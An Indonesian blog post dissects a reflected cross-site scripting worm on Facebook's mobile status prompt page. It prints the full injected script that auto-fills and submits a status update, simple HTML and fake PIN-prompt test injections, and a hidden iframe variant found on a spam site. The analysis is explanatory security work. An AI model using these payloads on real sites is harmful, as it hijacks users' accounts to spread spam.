Hari ini saya menyadari ada yang tidak beres dengan status
teman-teman facebook saya. Banyak yang mendadak statusnya berisi
promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang
terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status
berantai tersebut.
Analisa
Mari kita mulai
analisa kita dengan mengambil sample satu URL jebakan, yaitu
tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan
melakukan redirect ke url aslinya, yaitu:
1
|
<span style="color: #ff0000;">http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan
salahin w kalo lo bakal ngakak ngeliat ni orang :D
http://tinyurl.com/sampahh';document.forms[0].submit();}</script></span>
|
URL tersebut akan saya pecah menjadi 3 bagian:
- 1<span style="color: #ff0000;">http://m.facebook.com/connect/prompt_feed.php</span>
- 1<span style="color: #ff0000;">?display=wap&user_message_prompt=</span>
- 1<span style="color: #ff0000;">'<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script></span>
Bagian
pertama adalah URL untuk update status. Bagian kedua adalah query
string parameter yang terdiri dari dua parameter, yaitu display dan
user_message_prompt. Bagian ketiga adalah isi dari parameter
user_message_prompt yang merupakan payload javascript untuk mengubah
status secara otomatis.
The Prompt
Sebelum
masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk
tampilan dari URL untuk mengubah status ini. Gambar ini adalah
screenshot ketika browser membuka URL:
1
|
<span style="color: #ff0000;">http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status</span>
|
Dari
gambar di atas kini kita memahami fungsi dari parameter
user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user
mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi
judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”,
“Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan
mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan
perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya
user_message_prompt diisi dengan murni teks saja berupa
instruksi/petunjuk apa yang harus diinputkan user. Bila parameter
user_message_prompt berisi teks murni saja, maka tidak ada yang perlu
dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode
HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
1
|
<span style="color: #ff0000;"><font color=red><h1>Hello!!</h1></font></span>
|
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
1
|
<span style="color: #ff0000;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwgj4_CNY63f0HsTEwhBs4h4Vr6gGa_Z_tI_-UJdDrMHOG3qU7zdNpDRNovF_rkuz1rLtLHvyQvrMiU5-vTJqX0MKeGNFyOJRVCKOOigFojuDSobNsEIgIUw8VY2Z5BCoHhcuqQu6TvdU/s320/Hacked.jpg"/></span>
|
Bagaimana
bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi
diisi dengan kode javascript? Mari kita coba memasukkan javascript
sederhana berikut ini:
1
|
<span style="color: #ff0000;"><script>prompt("Enter your PIN");</script></span>
|
Kita
sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi
dengan normal teks, namun juga bisa diisi dengan kode HTML dan
javascript yang dieksekusi browser. Ini adalah vulnerability yang
disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS
(karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai
response HTTP).
The Payload
Dalam contoh
sebelumnya kita mencoba memasukkan javascript sederhana yang hanya
menampilkan prompt input kepada user. Sebenarnya javascript bisa
dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng
seperti mengubah status, sampai yang serius seperti seperti mencuri
cookie korban atau take-over komputer korban dengan mengeksploitasi
kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload.
Attacker bebas memasukkan payload apa saja yang dia inginkan seperti
mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
1
|
<span style="color: #ff0000;">user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script></span>
|
Bagi
pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote
(‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya
adalah tidak perlu sama sekali. Saya melihat semua yang membuat url
sejenis ini dalam payloadnya selalu ada karakter single-quote di depan
tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar
mengerti apa yang terjadi, karena dia mencontoh orang lain memakai
single-quote, maka diapun ikut memakai single-quote.
Payload untuk
mengubah status sebenarnya sangat sederhana. Berikut ini adalah
payload untuk mengubah status di facebook secara otomatis:
Onload
adalah event yang terjadi bila suatu halaman web selesai di-load.
Baris pertama pada kode di atas artinya meminta browser untuk
mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai
diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana
untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah
terakhir adalah memanggil fungsi submit() untuk melakukan submit form.
Jadi sangat sederhana cara untuk mengubah status secara otomatis,
cukup dua langkah saja, mengisi message dengan isi status, lalu submit,
status pun selesai diubah.
Varian Lain dengan IFRAME
Saya
juga menemukan varian lain yang memakai iframe. Varian ini lebih
berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah
melakukan pengubahan status berulang kali. Salah satu teman facebook
saya menjadi korban freesmsvoip.com sampai berkali-kali.
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
1
2
3
4
5
6
7
|
<span style="color: #ff0000;"><iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim
SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys!
coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" /></span>
|
Perhatikan
pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi
XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag
iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap
halaman di web tersebut. Akibatnya bila pengunjung hanya melihat
halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung
ke halaman-halaman lain, maka dia akan melakukan update status
berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url
seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada
halaman web yang tampak normal, baik hati dan tidak sombong. Dengan
maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin
curiga bila menerima link yang dipendekkan karena user tidak tahu url
itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip
dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun
berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga
bila menerima url panjang, apalagi domainnya tampak seperti situs
baik-baik.
Tidak ada komentar:
Posting Komentar